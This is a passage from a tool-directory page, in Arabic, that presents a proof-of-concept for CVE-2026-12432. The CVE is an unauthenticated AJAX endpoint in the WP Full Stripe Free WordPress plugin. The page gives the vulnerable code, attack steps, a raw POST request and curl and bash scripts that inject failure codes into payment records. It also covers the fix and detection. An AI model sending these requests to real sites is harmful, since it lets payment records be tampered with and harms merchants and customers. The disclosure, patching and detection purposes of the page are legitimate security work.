Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
By-Poloss..-..CVE-2026-12432-PoC — WP Full Stripe Free <= 8.4.3 - Missing Authorization | Kitploit
أدوات/GitHubGitHub/polosss/by-poloss..-..cve-2026-12432-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingMisconfiguration
GitHubpolosss/by-poloss..-..cve-2026-12432-poc

By-Poloss..-..CVE-2026-12432-PoC

WP Full Stripe Free <= 8.4.3 - Missing Authorization

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
1منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-12432: WP Full Stripe Free <= 8.4.3 - فقدان التفويض

نظرة عامة

  • CVE ID: CVE-2026-12432
  • درجة CVSS: 5.3 (متوسطة)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • المتأثر: Stripe Payment Forms by WP Full Pay <= 8.4.3
  • تم التصحيح: >= 8.4.4
  • تاريخ النشر: 26 يونيو 2026
  • آخر تحديث: 27 يونيو 2026
  • الباحث: Netwurm - VTDR e.V.i.G.

وصف الثغرة

إضافة WP Full Stripe Free لووردبريس معرّضة لثغرة فقدان التفويض في الإصدارات حتى 8.4.3 وما يشملها، وذلك عبر إجراء AJAX wpfs_update_failed_payment_status.

السبب الجذري

نقطة نهاية AJAX المعرّضة مسجّلة عبر كلٍّ من خطافَي wp_ajax_ وwp_ajax_nopriv_:

root@kitploit:~
// wpfs-customer.php, Line 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

الدالة update_failed_payment_status() (السطر 3835-3865) تنفّذ:

  • ❌ لا يوجد فحص صلاحيات (لا يوجد current_user_can())
  • ❌ لا يوجد تحقق من nonce (لا يوجد wp_verify_nonce())
  • ❌ لا يوجد فحص تسجيل الدخول (لا يوجد is_user_logged_in())

الكود المعرّض

root@kitploit:~
// wpfs-customer.php, Line 3835-3865
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... no auth check before processing ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // Attacker can overwrite with controlled values
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

ناقل الهجوم

المتطلبات الأساسية

  • يجب معرفة معرّف Payment Intent (يظهر في المتصفح أثناء عملية الدفع العادية عبر Stripe)
  • لا يتطلب أي مصادقة

خطوات الهجوم

  1. تحديد الهدف: ابحث عن موقع ووردبريس مثبّت عليه WP Full Stripe Free <= 8.4.3
  2. الحصول على معرّف Payment Intent: استخرجه من تدفق الدفع في Stripe.js أو من معاملات سابقة
  3. إرسال طلب خبيث: أنشئ طلب POST إلى admin-ajax.php مع معاملات يتحكم بها المهاجم

طلب HTTP

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

تقييم الأثر

مجال الأثرالخطورةالوصف
السلامةمتوسطةيمكن للمهاجمين وضع علامة فشل على مدفوعات ناجحة

التأثيرات المحددة

  1. التلاعب بسجل المدفوعات: يمكن للمهاجم تغيير حالة الدفع من "مدفوع" إلى "فاشل"
  2. رموز فشل كاذبة: يمكن للمهاجم حقن رموز/رسائل فشل عشوائية
  3. الهندسة الاجتماعية: يمكن استخدامها لخداع العملاء أو الطعن في رسوم مشروعة
  4. إفساد مسار التدقيق: يمكن تزوير السجلات التجارية

إثبات المفهوم (curl)

الكشف الأساسي

root@kitploit:~
# Test if endpoint is accessible without authentication
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# Expected response (vulnerable):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# The key indicator is that the endpoint responds WITHOUT requiring authentication

سكربت إثبات المفهوم الكامل

root@kitploit:~
#!/bin/bash
TARGET="https://TARGET"

# Check if vulnerable
echo "[*] Testing CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] VULNERABLE - Endpoint accessible without auth"
else
    echo "[-] Not vulnerable or error"
fi

المعالجة

الإصلاح الفوري

أضف فحص التفويض إلى wpfs-customer.php في السطر 3835:

root@kitploit:~
function update_failed_payment_status() {
    // ADD THIS CHECK
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... rest of function
}

الإصلاح الموصى به (من البائع)

حدّث إلى WP Full Stripe Free >= 8.4.4

root@kitploit:~
# Via WordPress Admin
Dashboard > Plugins > WP Full Stripe > Update

# Via WP-CLI
wp plugin update wp-full-stripe-free

# Via SSH
wp plugin update wp-full-stripe-free --version=8.4.4

الاكتشاف

الفحص اليدوي

  1. تحقق من إصدار الإضافة في لوحة تحكم ووردبريس
  2. راجع wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.php
  3. ابحث عن غياب current_user_can() قبل معالجات AJAX

الاكتشاف الآلي

root@kitploit:~
# Check if vulnerable version is installed
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# Test AJAX endpoint
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "Potentially Vulnerable"

المراجع

  • Wordfence Intelligence
  • Plugin Trac
  • Patchstack Database

W.P.E.F

  • قناة W.P.E.F على تيليجرام #1
  • قناة W.P.E.F على تيليجرام #2

--

الجدول الزمني

  • 26 يونيو 2026: تم الكشف عن الثغرة علنًا
  • 27 يونيو 2026: تم نشر CVE-2026-12432
  • التصحيح: التحديث إلى >= 8.4.4
تنزيل الأداة
السريةلا يوجدلا يوجد كشف للبيانات
التوافرمنخفضةقد يعطل العمليات التجارية